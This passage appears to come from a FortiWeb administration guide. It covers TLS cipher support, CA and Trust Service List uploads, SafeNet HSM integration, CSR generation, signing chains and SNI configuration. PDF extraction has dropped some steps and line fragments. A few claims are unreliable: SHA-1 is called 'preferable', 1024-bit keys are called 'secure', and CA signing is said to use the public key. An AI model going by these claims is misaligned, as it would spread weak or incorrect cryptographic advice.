l The FortiWeb (if doing SSL offloading)
l The web server (if FortiWeb is doing only SSL inspection)
When FortiWeb is the SSL terminator, FortiWeb controls which ciphers are allowed. For details, see SSL offloading
cipher suites and protocols (Reverse Proxy and True Transparent Proxy) on page 389.
When the web server is the terminator, it controls which ciphers are allowed. If it selects a cipher that FortiWeb does not
support, FortiWeb cannot perform the SSL inspection task. For details, see SSL inspection cipher suites and protocols
(offline and Transparent Inspection) on page 392.

SSL offloading cipher suites and protocols (Reverse Proxy and True Transparent
Proxy)
If you have configured SSL offloading for your FortiWeb operating in Reverse Proxy mode, you can specify which
protocols a server policy allows and whether the set of cipher suites it supports is medium-level security, high-level
security or a customized set. For details, see Configuring an HTTP server policy on page 242.
In True Transparent Proxy mode, you can specify these same advanced SSL settings to configure offloading for a server
pool member. For details, see Creating a server pool on page 169.
Selecting the supported cipher suites using the advanced SSL settings
The SSL/TLS encryption level in the advanced SSL settings provides the following options:
l High—Supports the ciphers listed in High/medium SSL/TLS encryption levels on page 389.
l Medium—Supports all ciphers supported by the high encryption level, plus the additional ciphers listed in the table
Medium-only SSL/TLS encryption levels on page 391
l Customized—Allows you to select the ciphers that the policy supports.
High/medium SSL/TLS encryption levels
Cipher TLS TLS TLS

1.3 1.2 1.0,
1.1
AES_256_GCM_SHA384 Yes
CHACHA20_POLY1305_SHA256 Yes
AES_128_GCM_SHA256 Yes
ECDHE-RSA-AES256-GCM-SHA384 Yes
DHE-RSA-AES256-GCM-SHA384 Yes
ECDHE-RSA-CHACHA20-POLY1305 Yes
DHE-RSA-CHACHA20-POLY1305 Yes
DHE-RSA-AES256-CCM8 Yes
DHE-RSA-AES256-CCM Yes
ECDHE-RSA-AES128-GCM-SHA256 Yes
DHE-RSA-AES128-GCM-SHA256 Yes
DHE-RSA-AES128-CCM8 Yes
DHE-RSA-AES128-CCM Yes
ECDHE-RSA-AES256-SHA384 Yes
DHE-RSA-AES256-SHA256 Yes

Cipher TLS TLS TLS

1.3 1.2 1.0,
1.1
ECDHE-RSA-CAMELLIA256-SHA384 Yes
DHE-RSA-CAMELLIA256-SHA256 Yes
ECDHE-RSA-AES128-SHA256 Yes
DHE-RSA-AES128-SHA256 Yes
ECDHE-RSA-CAMELLIA128-SHA256 Yes
DHE-RSA-CAMELLIA128-SHA256 Yes
ECDHE-RSA-AES256-SHA Yes Yes
DHE-RSA-AES256-SHA Yes Yes
DHE-RSA-CAMELLIA256-SHA Yes Yes
ECDHE-RSA-AES128-SHA Yes Yes
DHE-RSA-AES128-SHA Yes Yes
DHE-RSA-CAMELLIA128-SHA Yes Yes
AES256-GCM-SHA384 Yes
AES256-CCM8 Yes
AES256-CCM Yes
AES128-CCM8 Yes
AES128-CCM Yes
AES256-SHA256 Yes
CAMELLIA256-SHA256 Yes
AES128-SHA256 Yes
CAMELLIA128-SHA256 Yes
AES256-SHA Yes Yes
CAMELLIA256-SHA Yes Yes
AES128-SHA Yes Yes
ECDHE-ECDSA-AES256-GCM-SHA384 Yes
ECDHE-ECDSA-CHACHA20-POLY1305 Yes
ECDHE-ECDSA-AES256-CCM8 Yes

Cipher TLS TLS TLS

1.3 1.2 1.0,
1.1
ECDHE-ECDSA-AES256-CCM Yes
ECDHE-ECDSA-AES128-GCM-SHA256 Yes
ECDHE-ECDSA-AES128-CCM8 Yes
ECDHE-ECDSA-AES128-CCM Yes
ECDHE-ECDSA-AES256-SHA384 Yes
ECDHE-ECDSA-CAMELLIA256-SHA384 Yes
ECDHE-ECDSA-AES128-SHA256 Yes
ECDHE-ECDSA-CAMELLIA128-SHA256 Yes
ECDHE-ECDSA-AES256-SHA Yes Yes
ECDHE-ECDSA-AES128-SHA Yes Yes
DHE-DSS-AES256-GCM-SHA384 Yes
DHE-DSS-AES128-GCM-SHA256 Yes
DHE-DSS-AES256-SHA256 Yes
DHE-DSS-CAMELLIA256-SHA256 Yes
DHE-DSS-AES128-SHA256 Yes
DHE-DSS-CAMELLIA128-SHA256 Yes
DHE-DSS-AES256-SHA Yes Yes
DHE-DSS-CAMELLIA256-SHA Yes Yes
DHE-DSS-AES128-SHA Yes Yes
DHE-DSS-CAMELLIA128-SHA Yes Yes
DHE-DSS-SEED-SHA Yes Yes
IDEA-CBC-SHA Yes Yes
SEED-SHA Yes Yes
Medium-only SSL/TLS encryption levels
Cipher TLS 1.3 TLS 1.2 TLS 1.0,

1.1
DHE-RSA-SEED-SHA Yes Yes
DHE-DSS-SEED-SHA Yes Yes
IDEA-CBC-SHA Yes
SEED-SHA Yes Yes

Generally speaking, for security reasons, SHA-1 is preferable, although you may not be able to use it for client
compatibility reasons. Avoid using:
l Older hash algorithms, such as MD5. To disable MD5, for SSL/TLS encryption level, select High.
l Encryption bit strengths less than 128
l Older styles of renegotiation (These are vulnerable to Man-in-the-Middle (MITM) attacks.)
l Client-initiated renegotiation. Configure Configuring an HTTP server policy on page 242.
Customized-only SSL/TLS encryption levels
Cipher TLS 1.3 TLS 1.2 TLS 1.0,

1.1
AES_128_CCM_SHA256 Yes
AES_128_CCM_8_SHA256 Yes
ECDHE_RSA_DES_CBC3_SHA Yes Yes
DES_CBC3_SHA Yes Yes
SSL inspection cipher suites and protocols (offline and Transparent Inspection)
In Transparent Inspection and Offline Protection modes, if the client and server communicate using a cipher that
FortiWeb does not support, FortiWeb cannot perform the SSL inspection task.
If you are not sure which cipher suites your web server supports, you can use a client-side tool to test. For details, see
Checking the SSL/TLS handshake & encryption on page 849.
Supported ciphers for offline and Transparent Inspection
Cipher TLS 1.2 TLS 1.0, 1.1
AES128-SHA Yes Yes
AES256-SHA Yes Yes
AES128-SHA256 Yes
AES256-SHA256 Yes
SEED-SHA Yes Yes
In offline and Transparent Inspection mode, FortiWeb does not support Ephemeral
Diffie-Hellman key exchanges, which may be accepted by clients such as Google
Chrome.

See also
l Offloading vs. inspection on page 386

l Defeating cipher padding attacks on individually encrypted inputs on page 508
Uploading trusted CA certificates
In order for FortiWeb to authenticate client certificates, you must upload trusted CA certificates to FortiWeb. To use CA
certificates in a certificate verification rule for PKI authentication or a Server Name Indication (SNI) configuration, you'll
need to create a CA group for the CA certificate(s) that you want to include.
In addition to uploading CA certificates to include in a CA group, you can also upload European Union (EU) Trust Service
Lists (TSL) (https://ec.europa.eu/digital-single-market/en/eu-trusted-lists-trust-service-providers). A TSL is a list of
qualified trust service providers and services. Member states of the EU are obligated to publish lists of qualified trust
providers and services that include lists of certificates and CAs for each trusted provider and service. You can upload a
TSL in two ways:
l Upload an XML file of the TSL.
l Enter the distribution URL of the TSL.
When you upload a TSL, FortiWeb verifies X.509 certificates that the qualified service providers use to verify trusted
services. You'll also need to add each TSL into a CA group. For details, see To upload a European Union Trusted
Service List on page 394.
Until you upload at least one CA certificate, FortiWeb can't validate any other client or device's certificate, and secure
connection attempts will fail.
FortiWeb may require you to provide certificates and CRLs even if your websites’
clients do not use HTTPS to connect to the websites.
For example, when sending alert email via SMTP or querying an authentication
server via LDAP, FortiWeb will validate the server’s certificate by comparing the
server certificate’s CA signature with the certificates of CAs that are known and
trusted by the FortiWeb appliance.
Certificate authorities (CAs) validate and sign others’ certificates. When FortiWeb needs to know whether a client or
device’s certificate is genuine, it will examine the CA’s signature, comparing it with the copy of the CA’s certificate that
you uploaded to determine if they were both made using the same private key. If they were, the CA’s signature is
genuine, and therefore the client or device’s certificate is legitimate.
If the signing CA is not known, that CA’s own certificate must likewise be signed by one or more other intermediary CAs,
until both the FortiWeb appliance and the client or device can demonstrate a signing chain that ultimately leads to a
mutually trusted (shared “root”) CA that they have in common. Like a direct signature by a known CA, this proves that
the certificate can be trusted. For information on how to include a signing chain, see Uploading a server certificate on
page 402.

To upload a CA’s certificate

If you are using a commercial CA, your web browser should already contain a copy in its CA trust store. Export a
copy of the file to your desktop or other folder.
If you are using your own private CA, download a copy from your CA’s server. For example, on Windows Server
2003, you would go to:
where <ca-server_ipv4> is the IP address of your CA server. Log in as Administrator. Other accounts
may not have sufficient privileges. The Microsoft Certificate Services home page for your server’s CA should
appear, and you can download a CA certificate, certificate chain, or CRL from there.
Verify that your private CA’s certificate does not contain its private keys.
Disclosure of private keys compromises the security of your network, and will
require you to revoke and regenerate all certificates signed by that CA.
2. Go to System > Certificates > CA and select the CA tab.

4. To select a certificate, do one of the following:
l Enable SCEP and in the field to the right of it, type the URL of the applicable Simple Certificate Enrollment
Protocol server. (SCEP allows routers and other intermediary network devices to obtain certificates.)
To specify a specific CA, type an identifier in the field below the URL.
l Enable Local PC and browse to find a certificate file.
5. Click OK.
6. To use the CA certificate when validating clients’ personal certificates, select it in a CA certificate group, which is
then selected in a certificate verification rule. For details, see Grouping trusted CA certificates on page 395.
7. To test your configuration, cause your appliance to initiate a secure connection to an LDAPS server. For details,
see Grouping remote authentication queries and certificates for administrators on page 333.
If the query fails, verify that your CA is the same one that signed the LDAP server’s certificate, and that its certificate’s
extensions indicate that the certificate can be used to sign other certificates. Verify that both the appliance and LDAP
server support the same cipher suites and SSL/TLS protocols. Also verify that your routers and firewalls are configured
to allow the connection.
See also
l Configuring FortiWeb to validate client certificates on page 421
To upload a European Union Trusted Service List
1. Go to System > Certificates > CA.

2. Select the TSL CA tab.
3. Click Import.


configuration. You'll use this name to select the TSL in a CA group.
URL Enable to upload a TSL using its distribution URL. If enabled, enter
the distribution URL for the TSL in the accompanying text box. The
URL must begin with either http:// or https:// and end with
.xml.
Local PC Enable to upload an XML file that contains the TSL. If enabled, click
Choose File and select the relevant file on your computer. When you
select a file to be uploaded, FortiWeb will check whether the file is
valid before you can import the TSL.
5. Click OK.
If the upload is successful, FortiWeb will return the message CA Certificate successfully uploaded.
6. Confirm that the TSL is available so that you can include it in a CA group.
To do so, click Return to navigate back to the TSL CA tab. The Status column of the TSL will indicate whether
you can use the TSL in a CA group:
l Available—FortiWeb validated the TSL, and you can use it in a CA group.
l Unavailable—FortiWeb failed to validate the TSL, and you can't select it in a CA group.
Grouping trusted CA certificates
CAs must belong to a group in order to be selected either in a certificate verification rule for PKI authentication or a
Server Name Indication (SNI) configuration. For details, see Configuring FortiWeb to validate client certificates on page
421 and Allowing FortiWeb to support multiple server certificates on page 406.
To configure a CA certificate group
1. Before you can create a CA group, you must upload at least one of the certificate authority (CA) certificates that you
want to add to the group. For details, see Uploading trusted CA certificates on page 393.
2. Go to System > Certificates > CA and select the CA Group tab.
4. For Name, enter a name that can be referenced by other parts of the configuration. The maximum length is 63
characters.
5. Click OK.
7. For ID, FortiWeb automatically assigns the next available index number.
8. For CA, select the name of a certificate authority’s certificate that you previously uploaded and want to add to the
group.
9. Enable Publish CA Distinguished Name to list only certificates related to the specified CA. This is beneficial
when a client installs many certificates in its browser or when apps don't list client certificates. If you enable this
option, also enable the option in a certificate validation rule. For details, see To configure a certificate validation
rule on page 422.

10. Click OK.

11. Repeat the previous steps for each CA that you want to add to the group.
12. To apply a CA group, select it in a certificate verification rule. For details, see Configuring FortiWeb to validate
client certificates on page 421.
See also
l Configuring FortiWeb to validate client certificates on page 421
How to offload or inspect HTTPS
Whether offloading or merely inspecting for HTTPS, FortiWeb must have a copy of your protected web servers’ X.509
server certificates. FortiWeb also has its own server certificate, which it uses to prove its own identity.
Which certificate will be used, and how, depends on the purpose.
l For connections to the web UI—The FortiWeb appliance presents its own HTTPS Server Certificate on page 60
which is used only for connections to the web UI.
A Fortinet factory default certificate is used as the FortiWeb appliance’s HTTPS

server certificate. It can be replaced with other certificates. For details, see How to
change FortiWeb's default certificate on page 431.
l For SSL offloading or SSL inspection—Server certificates do not belong to the FortiWeb appliance itself, but
instead belong to the protected web servers. FortiWeb uses the web server’s certificate because it either acts as an
SSL agent for the web server, or is privy to its secure connections for the purpose of scanning. You select which one
the FortiWeb appliance uses when you configure Configuring an HTTP server policy on page 242 or Certificate on
page 247 in a policy (see Configuring an HTTP server policy on page 242) or Certificate File on page 175 in a server
pool (see Uploading a server certificate on page 402).
l For connections to back-end servers—A certificate you specify in a server pool configuration if connections to a
pool member require a valid client certificate. For details, see Creating a server pool on page 169.
System > Certificates > Local displays all X.509 server certificates that are stored locally, on the FortiWeb appliance,
for the purpose of offloading or scanning HTTPS.
Generate Click to generate a certificate signing request. For details, see Generating a
certificate signing request on page 399.
Import Click to upload a certificate. For details, see Uploading a server certificate on
page 402.
View Certificate Detail Click to view the selected certificate’s subject, range of dates within which the
Download Click to download the selected CSR’s entry in certificate signing request (.csr) file
format.
This button is disabled unless the currently selected file is a CSR.
Edit Comments Click to add or modify the comment associated with the selected certificate.

(No label. Check box in Click to mark all check boxes in the column, selecting all entries.
column heading.) To select an individual entry, instead, mark the check box in the entry’s row.
Name Displays the name of the certificate.
Subject Displays the distinguished name (DN) located in the Subject: field of the
certificate.
If the row contains a certificate request which has not yet been signed, this field is
empty.
Comments Displays the description of the certificate, if any. Click the Edit Comments icon
to add or modify the comment associated with the certificate or certificate signing
request.
Status Displays the status of the certificate.

l OK—Indicates that the certificate was successfully imported. To use the
certificate, select it in a server policy or server pool configuration.
l PENDING—Indicates that the certificate request has been generated, but
must be downloaded, signed, and imported before it can be used as a server
certificate.
FortiWeb presents a server certificate when any client requests a secure connection, including when:
l Administrators connect to the web UI (HTTPS connections only)
l Clients use SSL or TLS to connect to a virtual server, if you enabled SSL offloading in the policy (HTTPS
connections and Reverse Proxy mode only)
Although it does not present a certificate during SSL/TLS inspection, FortiWeb still requires server certificates in order
to decrypt and scan HTTPS connections traveling through it (SSL inspection) if operating in any mode except Reverse
Proxy. Otherwise, FortiWeb will not be able to scan the traffic, and will not be able to protect that web server.
If you want clients to be able to use HTTPS with your website, but your website does not already have a server
certificate to represent its authenticity, you must first generate a certificate signing request. For details, see Generating
a certificate signing request on page 399. Otherwise, start with Uploading a server certificate on page 402.
See also
l Global web UI & CLI settings on page 59

l Generating a certificate signing request on page 399
l Uploading a server certificate on page 402
l Offloading vs. inspection on page 386
l Uploading trusted CA certificates on page 393
Using session keys provided by an HSM
You can integrate FortiWeb with SafeNet Network HSM 7 (hardware security module) to retrieve a per-connection, SSL
session key instead of loading the private key and certificate stored on FortiWeb.

This release only supports SafeNet Network HSM 7 device, and device models older
than SafeNet Network HSM 7 device are not supported. Do confirm your device
model before upgrading FortiWeb.
Before the upgrade, you need to manually delete the original HSM configurations to
avoid configuration residual. Otherwise, you need to manually delete the original
HSM certificate, HSM partition, and HSM info configurations, and then reconfigure
it.
Integration of SafeNet Network HSM 7 with FortiWeb requires specific configuration steps for both appliances, including
the following tasks:
l On the HSM:
l Create one or more HSM partitions for FortiWeb
l Send the FortiWeb client certificate to the HSM
l Register the FortiWeb HSM client to the partition
l Retrieve the HSM server certificate
l On FortiWeb:
l Configure communication with the HSM, including using the server and client certificates to register FortiWeb
as a client of the HSM
l Generate a certificate signing request (CSR) that includes the HSM configuration information
l Upload the signed certificate to FortiWeb
When configuring your CSR to work with an HSM, the CSR generation process
creates a private key on both the HSM and FortiWeb. The private key on the HSM is
the "real" key that secures communication when FortiWeb uses the signed
certificate. The key found on the FortiWeb is used when you upload the certificate to
FortiWeb.
To integrate FortiWeb with SafeNet Network HSM 7
1. On HSM - Use the partition create command to create and initialize a new HSM partition that uses
password authentication. This is the partition FortiWeb uses on the HSM. FortiWeb supports only one partition.
partition create -par <fortiweb> -pas <fortiweb> -do <fortinet.com>
For details, see the HSM documentation.
2. Use an SCP utility and the following command to retrieve the server certificate file from the HSM to local PC.
scp –c aes256-cbc <hsm_username>@<hsm_ip>:server.pem
<local_pc>/server_<hsm_IP>.pem
3. On FortiWeb - Log in to CLI, enable the HSM function and the high compatibility mode.
set hsm enable
set high-compatibility-mode enable
end
4. Register FortiWeb to HSM.
Go to System > Config > HSM and complete the following settings:
Server IP Enter the IP address of the HSM.
Port Enter the port where FortiWeb establishes an NTLS connection with

the HSM. The default is 1792.
Timeout Enter a timeout value for the connection between HSM and FortiWeb.
Upload Server Certificate Click Choose File and navigate to the server certificate file you
File retrieved in step 2.
Create Client Click Create Client to create FortiWeb as a client of the HSM using
the specified server and client certificates. You will be prompted to
return when creation is successful.
Destroy Client Click Destroy Client to cancel FortiWeb as a client of the HSM.
Download Client Click Download to download the client certificate file to local PC.
Certificate File Available only when Create Client on page 399 is successful.
5. After the creation is completed, click Download to download the client certificate file to local PC. Please note that
client file is not available to download if the creation is not successful.
6. Use the SCP utility and the following command to send the downloaded FortiWeb client certificate to the HSM.
scp –c aes256-cbc <local_PC>/<fortiweb_ip>.pem admin@<hsm_ip>:
7. On HSM - Using SSH, connect to the HSM using the admin account, and then use the following command to
register a client for FortiWeb on the HSM.
lunash:> client register -c <client_name> -i <fortiweb_ip>
where <client_name> is a name you choose that identifies the client.
8. Use the following command to assign the client you registered to the partition you created earlier:
lunash:> client assignPartition -client <client_name> -partition <partition_name>
You can verify the assignment using the following command:

lunash:> client show -client <client_name>
9. On FortiWeb - Add the partition and password created previously on HSM.

Go to System > Config > HSM. Click Create New and complete the following settings.
Partition Name Enter the name of a partition that the FortiWeb HSM client is
assigned to.
Password Enter the partition password.
10. Go to Certificates > Local and click Generate to generate a certificate signing request that references the
HSM connection and partition.
For details, see Generating a certificate signing request on page 399.
11. After the HSM-based certificate is signed by CA, go to Certificate > Local and click Import to import it.
For details, see Uploading a server certificate on page 402.
12. To use a certificate, you select it in a policy or server pool configuration. For details, see Configuring an
HTTP server policy on page 242 or Creating a server pool on page 169.
Generating a certificate signing request
Many commercial certificate authorities (CAs) provide a website where you can generate your own certificate signing
request (CSR). A CSR is an unsigned certificate file that the CA signs. When you generate a CSR, the associated
private key that the appliance uses to sign and/or encrypt connections with clients is also generated.

If your CA does not provide this, or if you have your own private CA such as a Linux server with OpenSSL, you can use
the appliance to generate a CSR and private key. Then, you can submit this CSR for verification and signing by the CA.
To generate a certificate request

2. Click Generate.
3. Configure these settings to complete the certificate signing request:
Certification Name Enter a unique name for the certificate request, such as
www.example.com. This can be the name of your website.
Subject Information Includes information that the certificate is required to contain in order
to uniquely identify the FortiWeb appliance. This area varies
depending on the ID Type on page 400 selection.
ID Type Select the type of identifier to use in the certificate to identify the
FortiWeb appliance:
l Host IP—Select if the FortiWeb appliance has a static IP
address and enter the public IP address of the FortiWeb
appliance in the IP field. If the FortiWeb appliance does not have
a public IP address, use E-mail on page 401 or Domain Name on
page 401 instead.
l Domain Name—Select if the FortiWeb appliance has a static IP
address and subscribes to a dynamic DNS service. Enter the
FQDN of the FortiWeb appliance, such as www.example.com,
in the Domain Name field. Do not include the protocol
specification (http://) or any port number or path names.
l E-Mail—Select and enter the email address of the owner of the
FortiWeb appliance in the e-mail field. Use this if the appliance
does not require either a static IP address or a domain name.
The type you should select varies by whether or not your FortiWeb
appliance has a static IP address, a fully-qualified domain name
(FQDN), and by the primary intended use of the certificate.
For example, if your FortiWeb appliance has both a static IP address
and a domain name, but you will primarily use the local certificate for
HTTPS connections to the web UI by the domain name of the
FortiWeb appliance, you might prefer to generate a certificate based
upon the domain name of the FortiWeb appliance, rather than its IP
address.
Depending on your choice for ID Type, related options appear.
IP Type the static IP address of the FortiWeb appliance, such as

192.0.2.123.
The IP address should be the one that is visible to clients. Usually,
this should be its public IP address on the Internet, or a virtual IP that
you use NAT to map to the appliance’s IP address on your private
network.

This option appears only if ID Type on page 400 is Host IP.
Domain Name Type the fully qualified domain name (FQDN) of the FortiWeb
appliance, such as www.example.com.
The domain name must resolve to the static IP address of the
FortiWeb appliance or protected server. For details, see Configuring
the network interfaces on page 126.
This option appears only if ID Type on page 400 is Domain Name.
E-mail Type the email address of the owner of the FortiWeb appliance, such
as [email protected].
This option appears only if ID Type on page 400 is E-Mail.
Optional Information Includes information that you may include in the certificate, but which
is not required.
Organization Type the name of your organizational unit (OU), such as the name of
unit your department. This is optional.
To enter more than one OU name, click the + icon, and enter each
OU separately in each field.
Organization Type the legal name of your organization. This is optional.
Locality(City) Type the name of the city or town where the FortiWeb appliance is
located. This is optional.
State/Province Type the name of the state or province where the FortiWeb appliance
is located. This is optional.
Country/Region Select the name of the country where the FortiWeb appliance is
located. This is optional.
e-mail Type an email address that may be used for contact purposes, such
as [email protected].
This is optional.
Subject Type the Subject Alternative Names to specify additional host names
Alternative (sites, IP addresses, common names, etc.) to be protected by a single
Names SSL Certificate
Key Type Displays the type of algorithm used to generate the key.
This option cannot be changed, but appears in order to indicate that
only RSA is currently supported.
Key Size Select a secure key size of 1024 Bit, 1536 Bit or 2048 Bit. Larger
keys are slower to generate, but provide better security.
HSM Select if the private key for the connections is provided by an HSM
instead of FortiWeb.
Available only if you have enabled HSM settings using the config
system global command.
For details, see Using session keys provided by an HSM on page 397.

Partition Name Enter the name of a partition where the private key for this certificate
is located on the HSM.
Available only if Using session keys provided by an HSM on page 397

is selected.
Enrollment Method Select either:

l File Based—You must manually download and submit the
resulting certificate request file to a certificate authority (CA) for
signing. Once signed, upload the local certificate.
l Online SCEP—The FortiWeb appliance will automatically use
HTTP to submit the request to the simple certificate enrollment
protocol (SCEP) server of a CA, which will validate and sign the
certificate. For this selection, two options appear. Enter the CA
Server URL and the Challenge Password.
Not available if Using session keys provided by an HSM on page

397 is selected.
4. Click OK.
The FortiWeb appliance creates a private and public key pair. The generated request includes the public key of the
FortiWeb appliance and information such as the FortiWeb appliance’s IP address, domain name, or email address.
The FortiWeb appliance’s private key remains confidential on the FortiWeb appliance. The Status column of the
entry is PENDING.
If you configured your CSR to work with the FortiWeb HSM configuration, the CSR generation process creates a
private key both on the HSM and on FortiWeb. The private key on the HSM is used to secure communication when
FortiWeb uses the certificate. The FortiWeb private key is used when you upload the certificate to FortiWeb.
5. Select the row that corresponds to the certificate request.
6. Click Download.
Standard dialogs appear with buttons to save the file at a location you select. Your web browser downloads the
certificate request .csr file. Time required varies by the size of the file and the speed of your network connection.
7. Upload the certificate request to your CA.
After you submit the request to a CA, the CA will verify the information in the certificate, give it a serial number, an
expiration date, and sign it with the public key of the CA.
8. If you are not using a commercial CA whose root certificate is already installed by default on web browsers,
download your CA’s root certificate, then install it on all computers that will be connecting to your appliance. If you
do not install these, those computers may not trust your new certificate.
9. When you receive the signed certificate from the CA, upload the certificate to the FortiWeb appliance. For details,
see Uploading a server certificate on page 402.
Uploading a server certificate
You also use this process to upload a client certificate for FortiWeb. You add this certificate to a server pool
configuration if connections to a pool member require a valid client certificate. For details, see Creating a server pool on
page 169.
You can import (upload) either:

l Base64-encoded
l PKCS #12 RSA-encrypted
X.509 server certificates and private keys to the FortiWeb appliance.
DSA-encrypted certificates are not supported if the FortiWeb appliance is operating

in a mode other than Reverse Proxy. For details, see Supported features in each
operation mode on page 71.
To upload a certificate
The total file size of all certificates, private keys, and any other uploaded files may
not exceed 12 MB.

2. Click Import.
Type Select the type of certificate file to upload, either:

l Local Certificate—Select this option if the certificate is in PEM or DER format (with
extensions such as .pem, .cer, .crt, etc.), and the Certificate Signing Request (CSR) for this
certificate is generated on FortiWeb.
You don't need to import the private key file paired with this certificate because it is already
stored on FortiWeb when you generated the CSR.
l Certificate—Select this option if the certificate is in PEM or DER format (with extensions
such as .pem, .cer, .crt, etc.), and the CSR for this certificate is not generated on FortiWeb.
You need to import the private key file paired with this certificate when you select
Certificate.
l PKCS12 Certificate—Select this option if the certificate is in PKCS12 format.
Other fields may appear depending on your selection.
HSM Select if you configured the CSR for this certificate to work with an integrated HSM.
Available only if you have enabled HSM settings using the config system global
command.
, and the key file paired with this certificate is not generated on FortiWeb.
For details, see Using session keys provided by an HSM on page 397.
Partition Enter the name of the HSM partition you selected when you created the CSR for this certificate.
Name
Available only if Using session keys provided by an HSM on page 397 is selected.
Certificate Click Browse to locate the certificate file that you want to upload.
file This option is available only if Type on page 403 is Certificate or Local Certificate.

Key file Click Browse to locate the key file that you want to upload with the certificate.
This option is available only if Type on page 403 is Certificate.
Certificate Click Browse to locate the PKCS #12 certificate-with-key file that you want to upload.
with key This option is available only if Type on page 403 is PKCS12 Certificate.
file
Password Type the password that was used to encrypt the file, enabling the FortiWeb appliance to decrypt
and install the certificate.
This option is available only if Type on page 403 is Certificate or PKCS12 Certificate.
4. Click OK.
5. To use a certificate, you must select it in a policy or server pool configuration (see Configuring an HTTP server
policy on page 242 or Creating a server pool on page 169).
See also
l Supplementing a server certificate with its signing chain on page 404

Supplementing a server certificate with its signing chain
If a server certificate is signed by an intermediate certificate authority (CA) rather than a root CA, before clients will trust
the server certificate, you must demonstrate a link with root CAs that the clients trust, thereby proving that the server
certificate is genuine. You can demonstrate this chain of trust either by:
l Uploading and configuring a signing chain separately. See To upload an intermediate CA’s certificate on page 405.
l Appending a signing chain in the server certificate. For details, see To append a signing chain in the certificate
itself, before uploading the server certificate to the FortiWeb appliance on page 404.
l Installing each intermediary CA’s certificate in clients’ trust stores (list of trusted CAs).
Which method is best for you often depends on whether you have a convenient method for deploying CA certificates to
clients (as you can, for example, in an internal Microsoft Active Directory domain) and whether you often refresh the
server certificate.
To append a signing chain in the certificate itself, before uploading the server certificate to the FortiWeb
appliance
1. Open the certificate file in a plain text editor.

2. Append the certificate of each intermediary CA in order from the intermediary CA who signed the local certificate to
the intermediary CA whose certificate was signed directly by a trusted root CA.
For example, a server’s certificate that includes a signing chain might use the following structure:
-----BEGIN CERTIFICATE-----
<server certificate>
-----END CERTIFICATE-----
<certificate of intermediate CA 1, who signed the server certificate>

<certificate of intermediate CA 2, who signed the certificate of intermediate CA 1 and

whose certificate was signed by a trusted root CA>
3. Save the certificate.
4. Perform the following steps to upload the intermediate CA's certificate to System > Certificates >
Intermediate CA.
If you did not append the signing chain inside the server certificate itself, you must configure the FortiWeb appliance to
provide the certificates of intermediate CAs when it presents the server certificate.
To upload an intermediate CA’s certificate
The total file size of all certificates, private keys, and any other uploaded files may
not exceed 12 MB.
1. Go to System > Certificates > Intermediate CA and select the Intermediate CA tab.

certificate is valid, version number, serial number, and extensions (purposes).
3. Do one of the following to locate a certificate:
l Select SCEP and enter the URL of the applicable Simple Certificate Enrollment Protocol server. (SCEP allows
routers and other intermediate network devices to obtain certificates.)
To specify a specific certificate authority, enter an identifier in the field below the URL.
l Select Local PC, then browse to locate a certificate file.
4. Click OK.
5. Go toSystem > Certificates > Intermediate CA and select the Intermediate CA Group tab.
characters.
8. Click OK.
10. In ID, type the index number of the host entry within the group, or keep the field’s default value of auto to let the
FortiWeb appliance automatically assign the next available index number.
11. In CA, select the name of an intermediary CA’s certificate that you previously uploaded and want to add to the
group.
12. Click OK.
13. Repeat the previous steps for each intermediary CA certificate that you want to add to the group.
14. To apply an intermediary CA certificate group, select it for Certificate Intermediate Group on page 248 in a policy
that uses HTTPS, with the server certificate that was signed by those CAs. For details, see Configuring an

FortiWeb appliance will present both the server’s certificate and those of the intermediate CAs when establishing a
secure connection with the client.
See also

Configuring multiple local certificates
You can now configure RSA, DSA, and ECDSA certificates into Multi-certificate, and reference them in server policy in
Reverse Proxy mode and pserver in True Transparent Proxy mode. These certificates are used in SSL connections,
which are automatically selected and sent to SSL client according to the SSL cipher negotiated during SSL handshake.
You can configure all three types of certificates to support the most cipher suites, or one or two of them. In case no RSA
certificate is configured, FortiWeb will use default RSA certificate.
You can select each of the type from local certificates to create a multi-certificate group. Every certificate type
corresponds to a set of SSL ciphers.
To configure a multi-certificate rule
1. Go to System > Certificates > Multi-certificate.

Name Type a name that can be referenced by other parts of the configuration. Do
not use special characters. The maximum length is 63 characters.
RSA Certificate Select the RSA certificate created in Local Certificate.
DSA Certificate Select the DSA certificate created in Local Certificate.
ECDSA Certificate Select ECDSA certificate created in Local Certificate.
4. Comments Optional. You can add comments accordingly.
5. Click OK.
6. Repeat the steps to add multiple certificate rules.
7. To use the multi-certificate rule, you select it in a server policy. For details, see Configuring an HTTP server policy
on page 242.
Allowing FortiWeb to support multiple server certificates
In some cases, servers host multiple secure websites that use a different certificate for each host. To allow FortiWeb to
present the appropriate certificate for SSL offloading, you create an inline or offline Server Name Indication (SNI)
configuration that identifies the certificate to use by domain. The SNI configuration can also specify the client certificate
verification to use for the specified domain, if the host requires it.

You can select an inline SNI configuration in a server policy only when FortiWeb is operating in Reverse Proxy mode and
True Transparent Proxy mode, and an HTTPS configuration is applied to the policy.
The offline SNI is used in pserver of server pool in Offline Inspection mode or Transparent Inspection mode. FortiWeb
uses the server certificate to decrypt SSL-secured connections for the website specified by domain.
If the server pool is used in the server policy, SSL traffic can not only be decoded by the certificate configured in the
server pool, but also by that configured in SNI policy if the server name of the SSL traffic matches the domain of the SNI
policy rule.
Not all web browsers support SNI. Go to the following location for a list of web browsers that support SNI:
http://en.wikipedia.org/wiki/Server_Name_Indication#Browsers_with_support_for_TLS_server_name_
indication.5B10.5D
To create an inline Server Name Indication (SNI) configuration
1. Go to System > Certificates > SNI.

2. Select Inline SNI.
4. For Name, type a name that can be referenced by other parts of the configuration. Do not use special characters.
5. Click OK.
6. Click Create New and configure these settings:
Domain Type Select Simple String to match a domain to certificates using a literal domain
specified in Domain on page 407.
Otherwise, select Regular Expression to match multiple domains to
certificates using a regular expression specified in Domain on page 407.
Domain Specify the domain of the secure website (HTTPS) that uses the certificate
specified by Local Certificate. Enter a literal domain if Simple String is
selected in Domain Type on page 407, or enter a regular expression if
Regular Expression is selected.
After you fill in the field with a regular expression, you can fine-tune the
expression in a Regular Expression Validator by clicking the >> button on the
side. For details, see Regular expression syntax on page 880.
Local Certificate Select the server certificate that FortiWeb uses to encrypt or decrypt SSL-
secured connections for the website specified by Domain. For details, see
Uploading a server certificate on page 402.
for the website specified by Domain. For details, see Uploading a server
certificate on page 402.

Intermediate CA Group Select the name of a group of intermediate certificate authority (CA)
certificates, if any, that FortiWeb presents to validate the CA signature of the
certificate specified by Local Certificate.
If clients receive certificate warnings that an intermediary CA has signed the
server certificate configured in Local Certificate, rather than by a root CA or
other CA currently trusted by the client directly, configure this option.
